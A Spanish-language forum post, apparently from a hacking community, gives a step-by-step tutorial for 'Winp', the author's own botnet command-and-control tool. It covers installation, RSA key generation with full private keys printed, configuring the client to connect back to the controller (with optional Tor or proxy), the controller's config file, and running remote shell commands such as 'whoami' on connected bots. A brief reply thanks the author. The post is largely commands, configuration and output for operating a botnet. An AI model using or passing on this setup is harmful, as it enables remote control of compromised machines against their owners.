Tutorial de Winp

Iniciado por DtxdF, Junio 11, 2019, 12:05:13 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 11, 2019, 12:05:13 AM Ultima modificación: Junio 11, 2019, 11:33:55 AM por DtxdF
Tutorial de Winp

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

una pequeña definición según wikipedia:

Citar
Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota.

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación

Código: php

Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables

git clone https://github.com/DtxdF/Winp


Uso

Generar las claves públicas y privadas o el par de claves:

Código: php

# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.



Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

Código: php

# Para ver cuales son las claves no configurables
Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python
# Importamos el modulo rsa
>>> import rsa
# Generamos
>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)


Configuración del cliente

Código: php

# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...



Ver los clientes conectados e interacturar con ellos

Código: php

Winp> show clients
... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)
# Ahora enviemos un simple comando:
Winp> shell remote 127.0.0.1P48210 execute whoami
# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada
Winp> show data
... Los datos no los público por los caracteres
# Forma organizada
Winp> show data 127.0.0.1P48210
...


Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py

Código: php

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable

conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },
        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },
        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },
        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },
        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },
        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },
        'keys_setting':{
            'bitsize':1024
            },
        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }
        }


Imágenes:



ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Perfecto compañero, es lo que necesitaba! Por cierto te he dejado un MP acerca de este proyecto. Espero tu respuesta, saludos!